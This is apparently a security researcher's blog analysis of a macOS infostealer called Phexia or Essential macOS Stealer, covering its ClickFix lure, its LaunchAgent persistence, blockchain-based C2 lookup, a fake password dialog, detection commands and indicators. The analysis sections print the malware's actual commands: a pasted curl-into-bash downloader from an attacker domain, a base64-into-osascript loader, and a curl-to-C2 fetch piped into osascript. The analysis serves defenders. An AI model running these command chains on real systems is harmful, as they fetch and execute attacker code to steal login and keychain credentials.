← All posts
Blog

Essential macOS Stealer (Phexia): ClickFix delivery, AppleScript obfuscation, and a C2 hidden on the Polygon blockchain

Shout-out: cookie.engineer — prior Phexia analysis

Abstract

This paper documents a macOS infostealer sample that self-identifies in its own output as Essential macOS Stealer, carrying the affiliate build string GETWELL. Infection begins with a ClickFix lure — a page that refuses to render until the visitor pastes a supplied command into Terminal — served from an IDN homoglyph domain behind what is almost certainly a User-Agent gate. Nothing is written to disk, so Gatekeeper and notarization are never invoked; the human being is the installer. Persistence is a LaunchAgent whose ProgramArguments pipe a base64 blob into osascript. The decoded AppleScript is obfuscated such that no operational keyword survives as a greppable substring. It resolves its C2 host by issuing an eth_call to a smart contract on Polygon — the technique known as EtherHiding — and decodes the ABI-encoded return in pure shell. The second stage is fetched and piped straight into osascript, never touching disk. Its objective is the user's login password, because on macOS that password unlocks the login keychain.

Reader box: check your own Mac in three commands

Any Mac user can check for this specific persistence mechanism in under a minute. These commands only read; none of them change anything.

# 1. Print the program arguments of every user LaunchAgent.
for f in ~/Library/LaunchAgents/*.plist; do
  echo "== $f"; /usr/libexec/PlistBuddy -c 'Print :ProgramArguments' "$f" 2>/dev/null
done

# 2. Look for a pasted downloader in shell history.
grep -nE 'curl .*\| *(bash|sh|osascript)|\$\(curl|base64 -d' \
  ~/.zsh_history ~/.bash_history 2>/dev/null

# 3. Look for the files this family drops. The directory name is exactly
#    forty hex characters, so match exactly forty and no more.
ls -la ~/.passphrase ~/.txid 2>/dev/null
ls -d /private/tmp/[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f] 2>/dev/null

What a bad result looks like. A LaunchAgent whose program is /bin/bash -c "echo '<base64>' | base64 -d | osascript", or any agent that pipes curl output into an interpreter. A launch agent constructed that way is malicious by construction; there is no benign software that ships persistence in that shape. A file at ~/.passphrase should be treated as the login password in cleartext.

The one rule that defeats this entire class of attack. Developer tools do legitimately ask you to paste an install command — that is the cover this attack hides behind. What has no legitimate instance is being asked to paste a command in order to proceed: to pass a CAPTCHA, to prove you are human, to fix a video call, to view a page, to install a browser update or a printer driver. No verification step anywhere requires a Terminal. If a page will not continue until you paste something, the page is the attack, and there is nothing to evaluate.

1. Introduction and attack chain

The sample analysed here is a five-link chain in which each link is designed to be invisible to a different defensive control.

The chain. A lure page instructs the visitor to paste a command into Terminal. The command retrieves a script from an attacker-controlled host and executes it directly, without ever writing a file. The pasted URL carries no scheme, so curl defaults to plain HTTP for this first hop; only the later blockchain and C2 requests are explicitly https://. A cleartext HTTP request to a .store IDN host is itself a usable egress indicator. That script installs a LaunchAgent whose payload is a base64-encoded AppleScript. The AppleScript runs at login and, because the agent also sets KeepAlive, repeatedly thereafter; rather than contacting a hardcoded server it performs a read-only call against a smart contract on the Polygon blockchain, which returns the current C2 hostname. It then POSTs to that host and pipes the response straight into osascript. The second stage harvests credential material, and — the part that matters most — repeatedly displays a convincing macOS authentication dialog until the user types their login password.

What is new here. The Polygon contract is already publicly documented (Red Canary, NetbyteSEC, GBHackers, and at least two further writeups); the kit itself is documented by CyStack and cookie.engineer. What this sample adds to the public record is an affiliate build string (GETWELL), a bot identifier, a LaunchAgent naming convention instance and a delivery domain, none of which were found in the public record at the time of writing; the complete four-endpoint RPC fallback list, of which two endpoints are already published; a character-for-character decode of the stage-1 shell command; and a pair of publishable, per-build file hashes.

A note on naming. The public record does not agree on what this family is called, and the disagreement is substantive enough to warrant its own section: see Section 2. In short, this paper titles the sample by its own self-identification and asserts no name as the settled one.

Provenance of the claims below. Two classes of evidence are distinguished throughout. Claims about the LaunchAgent, the AppleScript, the RPC list, the contract, the selector, the bot id and the stage-1 and stage-2 command lines were derived by offline static decode of a single quarantined artifact — the LaunchAgent property list — together with the two derivations of its embedded payload published in Section 11 (the base64 blob as stored, and its decode). A reader holding a copy of the plist can reproduce both derived hashes; the hashes identify the artifact, they do not substitute for it. Claims about runtime behaviour — the pasted entry command and its recovery from shell history, the harvest directory, the dropped files, the dialog loop, the empty quarantine database, the absence of root and of any TCC grant, and, together with the stage-2 banner Essential macOS Stealer and the build string GETWELL, both of which are stage-2 output and appear nowhere in the static artifacts — come from host telemetry for a single infected macOS system examined in the course of this research, and cannot be reproduced from the artifacts alone. That system is not described here beyond what bears on the malware; no user, organisation, network or workload is characterised, and nothing in this paper should be read as describing the environment it ran in. No host was contacted, no domain resolved and no blockchain query issued during this analysis; every claim about on-chain activity is cited to published reporting, and the two function selectors below were verified by local computation only.

2. Names and aliases: what this family is called

No single name for this malware is settled, and a defender searching for one name will miss reporting filed under the others. The sample's own banner, its published analyses and the vendor trackers disagree — not because anyone is wrong, but because the code is a fork in a family that rebrands constantly.

The names in active use.

NAME                      USED BY                          NOTES
Phexia                    Red Canary; CyStack;             Private distribution since April 2024.
                          cookie.engineer; g0njxa          AppleScript/osascript implementation.
                                                           ~20 operators. CyStack records the
                                                           on-disk banner as "Phexia macOS Stealer".
Essential macOS Stealer   NetbyteSEC (Aug 2026);           The banner this sample prints. Described
                          Malware-Traffic-Analysis.net     by NetbyteSEC as built with the
                          (Sept 2026); this sample         AMOS/Atomic builder.
AMOS / Atomic macOS       NetbyteSEC; GBHackers;           The lineage name. Used for the whole
Stealer                   Sophos; Malpedia (osx.amos)      family rather than this specific fork.
GETWELL                   this sample only                 NOT a family name. A per-customer
                                                           affiliate tag set at build time.

The wider AMOS family tree. Public reporting traces a sprawl of rebrands and forks from the same lineage: Banshee, Cthulhu, Poseidon (which became Odyssey), RodrigoStealer, SHAMOS, MacSync and Mac.c. A published developer interview puts Phexia at roughly 85 percent code similarity with the Mac.c module, which is the clearest available statement of where this fork sits.

A useful discriminator. The log-header key differs between forks and is a cheap way to tell them apart in recovered artifacts: Phexia writes Build:, MacSync writes Build Tag:, and Cthulhu writes BuildID:. This sample writes Build:.

Where this sample sits. Independent published analysis of Phexia describes a LaunchAgent whose label is sixteen random lowercase letters, a cleartext password file at ~/.passphrase, and a fake system authentication dialog with a retry count in the low hundreds that renders it effectively uncloseable. This sample matches on all three markers. On that basis the sample is best read as Phexia, printing an Essential macOS Stealer banner, built by an affiliate tagged GETWELL, and belonging to the broader AMOS lineage. This paper uses the sample's own self-identification as its title, and asserts none of these names as the settled one.

3. Initial access: the ClickFix pattern

ClickFix is the label popularised by Proofpoint in its November 2024 brief for a social-engineering technique in which a web page stages a malicious command on the visitor's clipboard and then walks them through pasting it into a system command runner. Proofpoint attributed early activity to the initial-access broker TA571 and the ClearFake web-inject cluster. No link between those clusters and the sample analysed here is asserted; ClickFix is a technique in wide, unrelated use. On macOS the pattern was documented at scale by CrowdStrike in August 2025 against the SHAMOS variant, which it blocked in more than 300 customer environments between June and August 2025.

The command recovered from an affected host's shell history, with per-visit values replaced by their shapes, was:

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '<8 alphanumerics>.xn--ndux-kza.store/?ublib=<36-char UUID>')"; echo ""BotGuard: Answer the protector challenge. Ref: <5 digits>

The eight-character subdomain label, the ublib UUID and the Ref number are minted by the lure page per visit or per campaign; they are withheld because they have no defensive value and index a single visit in the operator's own logs. The registrable domain is the entire indicator and is given in full. Four design decisions are visible in that single line.

The padding trick. Everything after the semicolon is theatre. echo ""BotGuard: ... is a shell concatenation of an empty string with the literal text, so it prints BotGuard: Answer the protector challenge. Ref: <digits>. Two purposes are evident from its construction, though neither was observed and both are inference. Before execution, a user who glances at their clipboard — or at the tail of a long line that has scrolled in a narrow terminal — sees what looks like a verification token rather than a downloader. After execution, the terminal prints a reassuring line that reads like the challenge system responding, so a successful compromise looks like a successful CAPTCHA.

The IDN homoglyph host. xn--ndux-kza.store is punycode. It decodes to ındux.store, where the first character is U+0131 LATIN SMALL LETTER DOTLESS I, not the ASCII letter i. Rendered in a proportional font at normal size this is close to unreadable as a substitution. The delivery host observed was a random eight-character label under ındux.store. This decode was performed computationally; the domain was never resolved.

The User-Agent gate. -A 'Mac OS X 10_15_7' sets a custom, non-browser User-Agent. The overwhelmingly likely purpose — this is inference, not observation — is server-side gating, so that only requests carrying the expected string receive a payload and crawlers, sandboxes and researchers receive something benign. This is consistent with the August 2026 reporting on 250-plus macOS ClickFix domains using server-side browser fingerprinting to hide their lures from analysis.

Why this defeats Gatekeeper and notarization. Gatekeeper is a check applied to files: an application or installer that arrives through a browser is tagged with the com.apple.quarantine extended attribute, and when LaunchServices is asked to open it, macOS evaluates its signature, its notarization ticket and the user's policy. Every link in that chain begins with a downloaded file. This attack never produces one. curl writes to a pipe; bash reads from it; every executable involved — /bin/bash, /usr/bin/curl, /usr/bin/base64, /usr/bin/osascript, /usr/bin/sed, /usr/bin/xxd — is an Apple-signed platform binary that the user has just explicitly invoked. There is no file to quarantine, no signature to evaluate, no notarization ticket to check and no developer ID to revoke. CrowdStrike's analysis of the macOS variant states the position plainly: the one-liner bypasses Gatekeeper checks. The human being performs the role that an installer package would otherwise play, and the operating system's file-provenance defences are not weakened so much as bypassed at a level below where they operate.

This is also why the technique works on careful people. The defence a technically sophisticated user has internalised — do not run untrusted binaries, check the signature, watch for the Gatekeeper prompt — is aimed at a step this attack does not contain. The command runs as the user, from the user's own terminal, at the user's own keystroke, and looks to the operating system exactly like legitimate administration.

4. Persistence: the LaunchAgent

Persistence is a single per-user LaunchAgent property list, created in the same second as the pasted command executed, mode 0644, with a label consisting of com. followed by exactly sixteen lowercase Latin letters. The label in the analysed sample followed that convention and is withheld, being per-install. Published labels from other builds — com.ifipbqmfnnywqguz and com.launch.pwvrskwjcwvtcrjr — confirm the sixteen-random-letters convention without sharing a value, and show that an optional intermediate component may appear. The label itself is not a durable indicator; the shape is.

The plist contains exactly four keys:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.&lt;16 lowercase letters&gt;</string>
    <key>KeepAlive</key>
    <true/>
    <key>RunAtLoad</key>
    <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>echo '&lt;13,088 bytes of base64&gt;' | base64 -d | osascript</string>
    </array>
</dict>
</plist>

The wrapper around the blob was verified character for character: the prefix is echo ' and the suffix is ' | base64 -d | osascript.

Why this shape is decisive for defenders. RunAtLoad plus KeepAlive means the agent starts at login and is restarted by launchd every time it exits, subject only to launchd's ten-second respawn throttle. More importantly, the program is /bin/bash — a platform binary. Any control that reasons about persistence by asking "is the persistent executable signed, notarized, and from a known developer?" returns a clean answer here, because the persistent executable is Apple's. The malice lives entirely in the argument vector. A LaunchAgent that base64-decodes an inline blob into an interpreter has no benign form; there is no legitimate software distribution model that produces one.

5. Obfuscation: AppleScript built from character primitives

The decoded AppleScript is 9,814 bytes and contains no plaintext URL, hostname, command name or contract address. Static string search against the obfuscated script finds none of polygon, http, curl, osascript, eth_call, jsonrpc, POST, xxd, drpc, tatum, tenderly, 0x2686ecea or the contract and campaign identifiers.

The mechanism. Every operational string is split across three constructions, interleaved so that no keyword survives as a contiguous substring: 190 instances of ASCII character N, 175 instances of character id N, two string id {…} runs that expand a whole list of code points at once, and 80 distinct short plaintext literal fragments — the longest of which is three characters ($(c, -ti, cea, rl, od, t-t, m.i). The description "every string is built from character primitives" would be an overstatement; the accurate statement is that every operational string is fragmented below keyword length.

Before. A representative concatenation, in the form it appears in the script:

(ASCII character 112) & (character id 111) & "l" & (ASCII character 121) & ...

After. That run yields poly…, the opening of an RPC hostname — assembled at runtime, never present in the file.

The two string id {…} runs are the largest single fragments and are worth quoting because they show what the author considered safe to keep in one piece. The first expands to:

 -X POST -H 'Content-Type: application/json' --data '

and the second to:

 | osascript

Padding. Eight variables are assigned and never referenced. Two are arithmetic — set __IC4TwJAO to (114 + 719) * 6 appears verbatim — the remainder are three integers, one float, and two decoy plaintext strings (pkntC0sukKHIP9dxnSlh, OmTcAGRFKOb3mL) that exist to give a string-extraction pass something to find.

What this defeats and what it does not. It defeats naive static scanning, strings-and-grep triage, and signature rules keyed on URLs or command fragments. It does not defeat behavioural observation, because the assembled strings must exist in cleartext at the moment do shell script is called, nor does it defeat the structural detection in Section 4, which never looks inside the blob at all.

6. C2 resolution via blockchain (EtherHiding)

Rather than carrying a C2 address, the loader reads one out of a smart contract on the Polygon network at every execution. The technique was named EtherHiding by Guardio Labs in October 2023, describing malicious payloads served from BNB Smart Chain contracts. Google's Threat Intelligence Group has since documented its use by the financially motivated cluster UNC5142 and, in October 2025, by the DPRK-linked UNC5342 — the first nation-state adoption GTIG observed. Those clusters use the same technique against different contracts; nothing connects them to the contract read by this sample. Red Canary's August 2026 intelligence insights noted that three of its top-ten threats now use the technique.

The call. The script holds an array of four bare hostnames — not URLs; the scheme is prepended later inside the shell string:

polygon.drpc.org
polygon.publicnode.com
polygon-mainnet.gateway.tatum.io
tenderly.rpc.polygon.community

They are tried in that order by a repeat loop whose body is wrapped in try — the per-iteration try is what makes a dead endpoint fall through to the next rather than abort the script — breaking on the first non-empty reply. The body posted to each is:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}

The selector 0x2686ecea is the first four bytes of keccak-256("getServerURL()"), computed here offline; the correspondence is arithmetic, not an attribution, and is confirmed independently by published reporting. The setter reported elsewhere, 0xd75d1ba6, likewise verifies as keccak-256("setServerURL(string)"). Note that a matching selector proves the signature hashes to that value, not that the deployed contract implements that function — the bytecode was not fetched.

The pure-shell ABI decode. The stage-1 shell command, reconstructed character for character from the obfuscated script:

r=$(curl -s --max-time 15 https://<rpc> -X POST -H 'Content-Type: application/json' --data '<json>'); h=$(echo "$r" | sed -n 's/.*"result":"0x\([^"]*\)".*/\1/p'); [ -z "$h" ]&&exit 1; l=$(printf "%d" "0x${h:64:64}"); echo "${h:128:$((l*2))}"|xxd -r -p

Because the sed capture begins after 0x, h carries no prefix: characters 0–63 are the first ABI word, 64–127 the string length, and 128 onward the payload bytes. The script reads the length, converts it from hex, slices twice that many characters, and runs them through xxd -r -p to produce the hostname. There is no JSON parser, no jq, no Python — the entire ABI decode is sed, shell substring expansion and xxd.

Why this is takedown-resistant. There is no registrar to serve, no hosting provider to notify and no file to remove. Contract code on Polygon cannot be edited in place, and the operator rotates the C2 by sending one transaction that changes the stored string. This paper did not fetch the bytecode, so it does not establish that the deployed contract lacks a proxy or a self-destruct path. Most significantly for detection, eth_call is a read — it is executed by the RPC node, not broadcast, costs no gas and produces no transaction. The chain therefore contains no record that a particular victim ever looked up the address. The economics are brutal for defenders, and by construction rather than by estimate: the read side is free, and a transaction that stores a short string on Polygon costs a small fraction of a cent at ordinary gas prices, so the recurring cost of running the C2 rounds to nothing. Figures circulating for this specific operation's total deployment and rotation spend could not be tied to a source in the reference list below and are therefore not reproduced here; the contract's transaction history is public and free to read, and a reader who wants the number should compute it from that directly.

Its weaknesses, honestly stated. The scheme trades away several things that a defender can use.

7. Stage 2: fileless execution, the harvest, and the looping authentication dialog

Once a hostname is in hand, stage 1 constructs and runs:

curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST https://'<resolved-c2>' -d 'txid=5d12220d804398a29476a3d568e65115&bmodule' | osascript

Both the resolved host and the POST body pass through AppleScript's quoted form of. This is a deliberate and instructive choice: the body must be quoted so that the & before bmodule reaches curl instead of backgrounding the process, and the host is quoted because it is attacker-controlled data arriving from a blockchain read — the effect is to defend the loader against a malformed contract return, which is the likeliest reason for it.

The hardcoded value 5d12220d804398a29476a3d568e65115 is a campaign or affiliate bot identifier, also written to disk. The published sample of this kit carries a different value (427e8b573407f6029923cdb4686b5f77), which confirms that this field varies per affiliate and that the sample here is a distinct build of the same product.

Fileless by construction. The response body is piped directly into osascript. The second stage never exists as a file. There is nothing to hash, nothing to quarantine, nothing to submit, no code signature to evaluate and no artifact left behind for a later forensic pass. It also means the capability set is not fixed. Because the agent sets KeepAlive as well as RunAtLoad, launchd restarts it every time it exits — subject only to launchd's ten-second respawn throttle — so the contract read and the C2 fetch repeat throughout a session, not once per login. The operator can therefore serve different code to an already-infected host within minutes, and the host's egress shows recurring JSON-RPC beaconing to a Polygon gateway rather than a single call at login. Published reporting describes a four-way tasking router in this family handling runloader (full stealer), runlight (a reduced collector), replacer (a cryptocurrency miner) and openshell (interactive access) — which implies that any given infection is one branch of a menu, and that the branch observed is not the family's ceiling.

The harvest. On the affected host, stage 2 self-identified in its own output as Essential macOS Stealer with Build: GETWELL, and staged collected material in a directory under /private/tmp named with forty hexadecimal characters, containing exactly four files: Username, Password, Secrets, UserInformation. The last profiles the host. It additionally wrote the login password in cleartext to a world-readable file in the user's home directory, and the bot identifier alongside it. CyStack's fingerprint corpus documents a closely matching log layout for this family — a banner line, then Build: / Username: / Password: / IP Address:, then verbatim system_profiler output — though the specific four-file directory layout observed here is not, as such, in the published record.

The fake authentication dialog. The technique is well documented across this family: osascript's display dialog with the hidden answer parameter renders typed characters as dots, producing a prompt visually indistinguishable to most users from a genuine system credential request. Published analysis describes validation of the entered password via dscl . authonly, and a retry loop — one account documents 150 retries, which its author describes as essentially making the dialog uncloseable.

On the affected host, the dialog was presented more than 170 times over approximately seven hours. That figure is a count of prompts observed, not of iterations of a loop inside stage 2. Because stage 2 was never recovered and the LaunchAgent carries KeepAlive, the count is equally consistent with an internal retry loop, with repeated launchd relaunches, or with both; this analysis cannot distinguish them. It succeeded shortly after a reboot, and that detail deserves more attention than the count. A persistent dialog does not defeat a user by being convincing on the hundredth attempt; it defeats them by outlasting their attention and waiting for a moment of low suspicion. Immediately after a restart — when apps are relaunching, keychain-backed services are reconnecting and accounts are re-authenticating — a password prompt is expected rather than anomalous. That this is why it worked is inference from the timing of a single observation. The loop is not a brute force against the machine. It is a brute force against context.

Why the login password is the objective. Apple's own documentation notes that the login keychain password is normally identical to the user account password, and the login keychain is unlocked by it and stays unlocked for the session. That single secret therefore converts a userland file scrape into access to the entire credential store: saved website and application passwords, certificates and their private keys, tokens, Wi-Fi and network credentials, and anything an application chose to store there. Published analysis of the AMOS lineage — which NetbyteSEC and GBHackers place this kit in, though Red Canary and CyStack track it as Phexia — reports that it copies the whole login.keychain-db into its exfiltration directory for server-side parsing; the password is not needed on the victim's machine at all, only later. This is why the kit invests engineering effort in a multi-hour dialog loop rather than settling for scraping files: files are what the malware can reach, but the password is what the keychain can reach.

What it did not obtain. On the affected host, everything ran as the ordinary user. Root was never obtained. A unified-log query of the com.apple.TCC subsystem showed no capability grants in the retained window — no Accessibility, no Screen Recording, no Full Disk Access. That evidence is a snapshot, and its strength is limited by the same reporting: this family is documented invoking tccutil reset All, which clears grants. Zero grants at examination time is therefore consistent with none having been obtained and with grants having been obtained and then reset. The bound below is stated on the first reading, which the rest of the host evidence supports, but it is a reading rather than a proof. The practical consequence is that the blast radius is bounded to what a user-privileged process could read, plus whatever the login password subsequently unlocks — which is a great deal, but is not kernel-level or system-wide capability.

8. Detection: which checks are decisive and which are structurally blind

The decisive check. Enumerating per-user LaunchAgents and reading each plist's ProgramArguments locates this persistence immediately and unambiguously. This is the single highest-yield check available for this entire class of macOS threat, and it requires no tooling, no telemetry platform and no prior knowledge of the sample. The rule generalises: any launch agent whose program is an interpreter fed a base64 blob, or whose arguments pipe a network fetch into a shell, should be treated as malicious until its author is identified; the base64-blob-into-an-interpreter shape has no legitimate distribution model at all.

The check that cannot work, and this is the finding worth carrying away. The Gatekeeper quarantine database holds nothing relevant to this chain, because nothing is ever downloaded as a file. Download-provenance telemetry — quarantine records, "where did this file come from" tooling, any control built on the com.apple.quarantine extended attribute — is structurally blind to a curl-into-bash attack. This is not a gap in coverage that better tuning closes. A defence that answers the question "which downloaded files are suspicious?" has no answer at all for an attack that downloads no files. Organisations that treat quarantine telemetry as their macOS provenance backstop should understand that this is the exact shape of attack it cannot see, and that this shape now accounts for a large and growing share of macOS infections: one vendor reports that AMOS — the lineage this kit is placed in by part of the public record — accounted for roughly 40 percent of all macOS protection updates it deployed in 2025.

Shell history is the highest-value artifact on an affected host. It retains the entry vector verbatim, including the User-Agent gate and the delivery URL — information recoverable from no other source, since no file is written and the lure page is served conditionally. On any suspected macOS compromise, shell history should be collected before anything else and before any remediation touches the account.

The unified log bounds the damage. Querying the TCC subsystem establishes whether any privacy capability was granted, which is what allows an impact assessment to be stated as a bound rather than a guess. In the telemetry examined, none had been. Negative evidence of this kind is undervalued in incident response; it is frequently the only thing that keeps a response proportionate — provided it is read with the tccutil reset All caveat from Section 7 in mind.

Concrete checks a reader can run, beyond the three in the box above:

# Every launch point, user and system, with its argument vector.
for d in ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons; do
  for f in "$d"/*.plist; do [ -e "$f" ] || continue
    echo "== $f"
    /usr/libexec/PlistBuddy -c 'Print :Label' "$f" 2>/dev/null
    /usr/libexec/PlistBuddy -c 'Print :ProgramArguments' "$f" 2>/dev/null
  done
done

# Loaded agents in the current GUI session, matching the label SHAPE.
launchctl print gui/$(id -u) | grep -iE '(^|[^a-z])com\.([a-z]+\.)?[a-z]{16}([^a-z]|$)'

# Osascript driving shell commands — this family's whole runtime lives here.
log show --last 24h --predicate 'process == "osascript"' --info 2>/dev/null | head -50

# Keychain reads from an unexpected parent: a script, a browser, a new app.
log show --last 24h --predicate 'process == "security"' --info 2>/dev/null \
  | grep -iE 'find-(generic|internet)-password|-wa|-ga' | head -50

# Confirm whether any privacy capability was granted.
log show --last 7d --predicate 'subsystem == "com.apple.TCC"' --info 2>/dev/null | head -50

The second component of the label pattern is optional because a published build of this family used com.launch.<16 letters>; match the shape, not one layout of it. Unified-log retention is typically hours to a few days on a busy Mac; --last 7d will often return less than seven days, and an empty result is not evidence of absence.

A further detection note from the published literature, worth adding to any macOS ruleset: invocation of /usr/bin/security with find-generic-password, find-internet-password, -wa or -ga from an unexpected parent process — a script, a browser, a freshly downloaded application — is a high-fidelity indicator of keychain theft.

9. Response and containment

Neutralising persistence is trivial once located. Booting the agent out of the GUI session domain and moving the property list out of the search path removes the mechanism; no further step is required to stop re-execution.

launchctl bootout gui/$(id -u)/com.<label>
mv ~/Library/LaunchAgents/com.<label>.plist /path/to/quarantine/

Two operational cautions. Copy the plist to a quarantine location before removing it — it is the only recoverable artifact in the whole chain and it carries the entire stage-1 script. And when storing it, rename it so that it no longer ends in .plist in a LaunchAgents-shaped filename; a preserved sample that retains a loadable name is a live payload sitting in an evidence directory.

What must be rotated, and why. Because the attack's objective is the login password, and because that password unlocks the keychain, a defender must assume the keychain's entire contents are disclosed. Where any of the following were present on an affected host, treat them as disclosed and rotate them from a known-clean device, not from the affected host. The list is the standard collection target set for this family as described in published reporting, not an inventory of any particular host:

Scope and rebuild. Where the evidence supports it — no root, no TCC grant, a single identified persistence mechanism — a full reinstall is defensible but not automatically mandated. Where stage 2's tasking cannot be determined — as it cannot for this sample — the conservative position is that a host which executed attacker-supplied code of unknown content should be rebuilt, and that credential rotation should proceed on the assumption that everything readable by the user was read.

10. Limitations and what remains unknown

The second stage was never recovered. It existed only as a stream between curl and osascript. Its full capability set is therefore unknown, and cannot be derived from the loader, which contains no logic about what the response will do. The behaviour described in Section 7 is what was observed on one host at one time. Published reporting on a four-way tasking router in this family implies that other builds, or the same build at another time, may do materially more.

Whether exfiltration succeeded is not established. The existence of a staging directory demonstrates collection, not transmission. No network capture covering the relevant window was available, and the loader's own structure provides no evidence either way. The correct posture is to assume exfiltration succeeded and rotate accordingly, while stating plainly that this is an assumption.

No blockchain query was performed. The contract address, selector and RPC list were extracted statically; the two selectors were confirmed by computing keccak-256 locally. The contract's transaction history, the number of C2 rotations and the operator's wallet activity are all publicly readable at no cost, but no claim about them is made here on the basis of first-hand observation. A reader wishing to establish the rotation count or the cost of the operation should read the contract history directly.

Attribution is not offered. This is a commodity kit with per-customer build tags, and a published interview with a developer of the family describes it operating an affiliate model with multiple concurrent customers. No actor name is asserted, and none should be inferred from the build string. Public reporting describes entirely different entry vectors — including the fake-interview lures Google attributes to the DPRK-linked cluster UNC5342 — reaching EtherHiding-based C2 resolution against their own contracts. Whether any unrelated campaign resolves through the contract read by this sample was not established here, and the contract's write history is public for anyone who wishes to check. Naming an actor on the strength of a shared technique — or even a shared contract address — would be an error.

The host-telemetry claims rest on one system. The dialog count, the timing, the absence of root and the absence of TCC grants are a single observation, not a population. The observed prompt count exceeds the published retry figure of 150 for this family; that is not necessarily a different retry setting, because with KeepAlive set an unknown share of the prompts may be relaunches rather than loop iterations. It is offered as an observed prompt count, not as a measured retry parameter.

One IOC class is unverified by design. The delivery domain was decoded, not resolved. It is not present in the published record as an individual indicator, though it fits the documented estate of 250-plus macOS ClickFix domains.

11. Indicators of compromise

One artifact was analysed: the LaunchAgent property list. Its own hash is per-install — the file embeds a label generated at install time — so it is a serial number rather than an indicator, and is withheld. The two hashes below are of that plist's embedded base64 blob as stored and of that blob's decode. Both are per-build, shared across every victim of the same build, and both are recoverable from any copy of the plist.

FILE HASHES (SHA-256)
  6d83ecca8be4ef5293ce0a7c2569efea46a8baa98d7c5bf56fa9188f5962fbcf   Stage-1 AppleScript, obfuscated (9,814 bytes)
  ef082f4696db3139d5359b6bbce643cd858421cdb1cb871f4e490851f53ed721   Embedded base64 blob, as stored (13,088 bytes)

HOST
  Persistence path     ~/Library/LaunchAgents/com.<16 lowercase letters>.plist
                       (an optional extra component is attested: com.<word>.<16 letters>)
  Plist keys           Label, KeepAlive(true), RunAtLoad(true), ProgramArguments
  ProgramArguments     /bin/bash -c "echo '<base64>' | base64 -d | osascript"
  Dropped files        ~/.passphrase (mode 0644, login password in cleartext), ~/.txid
  Harvest directory    /private/tmp/<40 hex>/ containing Username, Password,
                       Secrets, UserInformation

DELIVERY
  Domain (punycode)    <8 alnum>.xn--ndux-kza.store
  Domain (decoded)     <8 alnum>.ındux.store       (U+0131 dotless i)
  First hop            no scheme in the pasted URL; curl defaults to http://
  User-Agent gate      Mac OS X 10_15_7
  Lure tail text       "BotGuard: Answer the protector challenge. Ref: <digits>"

C2 RESOLUTION
  Polygon contract     0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
  Method selector      0x2686ecea   (getServerURL(), verified by keccak-256)
  Reported setter      0xd75d1ba6   (setServerURL(string), verified by keccak-256;
                                     deployment not confirmed here)
  RPC hosts, in order  polygon.drpc.org
                       polygon.publicnode.com
                       polygon-mainnet.gateway.tatum.io
                       tenderly.rpc.polygon.community

STAGE 2
  POST body marker     txid=<32 hex>&bmodule
  Campaign / bot id    5d12220d804398a29476a3d568e65115
  Self-identification  "Essential macOS Stealer"
  Build string         GETWELL

HUNT RULE
  Any plist in ~/Library/LaunchAgents, /Library/LaunchAgents or
  /Library/LaunchDaemons whose ProgramArguments contain "base64 -d",
  "| osascript", or a curl/wget piped into an interpreter.

Durability of these indicators. The contract address and the selector are the most durable — contract code cannot be edited in place, and the address cannot be rotated without redistributing the loader. The RPC host list is moderately durable. The delivery domain, the LaunchAgent label, the bot identifier and the build string are per-campaign or per-affiliate and should be treated as expendable. The hunt rule is the only entry here that does not decay.

Bottom line

This sample is not technically sophisticated in the sense of exploiting a vulnerability — it exploits none. It is sophisticated in the sense of having carefully identified, at every stage, the specific question each macOS defensive control asks, and arranged never to be the kind of thing that question is about. Gatekeeper asks about downloaded files; nothing is ever written to disk. Code-signing asks about the persistent executable; the persistent executable is Apple's. Static scanning asks about strings; no keyword exists as a string. Network reputation asks about C2 domains; the C2 domain is fetched fresh from a public ledger by a read that leaves no trace on the chain. TCC asks whether capabilities were granted; none were needed, because the user typed the password instead.

What remains, and what defenders should build on, is structure. The argument vector of a launch agent cannot be hidden and cannot be made to look legitimate. Shell history records what was pasted. Egress records a workstation talking JSON-RPC to a blockchain gateway, repeatedly, for as long as the agent is loaded. And the one control that stops the chain before any of this begins costs nothing to deploy: a person who knows, as a flat rule with no exceptions, that no page which is blocking their way ever legitimately needs a command pasted into their terminal in order to let them through.

References